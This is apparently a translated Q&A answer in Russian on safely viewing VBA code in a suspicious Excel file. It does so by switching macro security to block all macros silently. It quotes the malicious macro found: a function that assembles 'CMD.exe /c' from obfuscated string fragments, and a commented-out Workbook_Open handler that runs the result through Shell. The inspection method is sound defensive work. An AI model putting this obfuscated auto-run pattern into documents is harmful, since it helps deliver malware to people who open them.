Хотя ответы от Mokubai и hBy2Py кажутся великолепными и действительно позволяют отображать редактор VBA, кажется, что, по крайней мере, в Excel из Microsoft Office Professional Plus 2016 по- прежнему не разрешается просматривать код.
Мне довелось владеть этой версией, и я был уверен, что получил вредоносный XLS и хотел проверить его. Открыв его в Excel, он открылся в безопасном режиме, как обычно, и, конечно, я не собирался отказываться от этого режима. Когда я открыл VBA Editor, как указали другие респонденты, мне представили ... пустой VBA Editor. Панель "Project explorer" содержательно отображала "Нет открытых проектов", хотя я еще не закрыл файл XLS. Просто для тестирования я открыл второй документ (одна из моих работ), и он сразу же появился в VBA Editor и был (должным образом) полностью лишен VBA. Однако документ из Интернета не был указан в редакторе VBA.
Я потратил некоторое время, пытаясь выяснить, почему это так, и не нашел причин. Кажется, что мой выпуск Excel просто не отправляет модули VBA в редактор VBA, когда документ загружается в безопасном режиме. К сожалению, в редакторе VBA отсутствует некоторая функция "открыть VBA из офисного документа", поэтому ясно, что Excel - это мозг, и он должен сначала распаковать / декодировать / что угодно XLS.
Решение оказалось довольно простым.
- Нажмите
Ribbon
-> Developer
-> MacroSecurity
- в качестве альтернативы,
File
-> Options
-> SecurityCenter
(последняя группа параметров) -> Settings
-> Macros
)
- Запомните (или запишите), какие текущие настройки
- Измените их на "Блокировать все макросы без уведомления"
- Подтвердите, закройте, снова откройте документ, снова откройте редактор VBA
- Восстановите исходные настройки, пока вы закончите играть с огнем
Последствия:
- уведомление не показывалось
- документ был полностью загружен
- макросы не были выполнены
- VBA Editor получил модули и представил весь код
Если вам любопытно: да, это действительно был злой, крошечный пример:
Function marcopoloko()
marcopoloko = Left("CM to inches converter", 2) + Right("fed.ex", 4) + "e " + "/c" + numneroop + amagilocard
End Function
'Sub Workbook_Open()
'If xlTickMarkOutside > 0 Then
'Shell marcopoloko + """", xlXmlExportSuccess
'End If
'End Sub
КСТАТИ. Как вы можете видеть, я немедленно закомментировал точку входа и заново сохранил документ, на случай, если я позволю макросам запускаться в какой-то момент времени позже.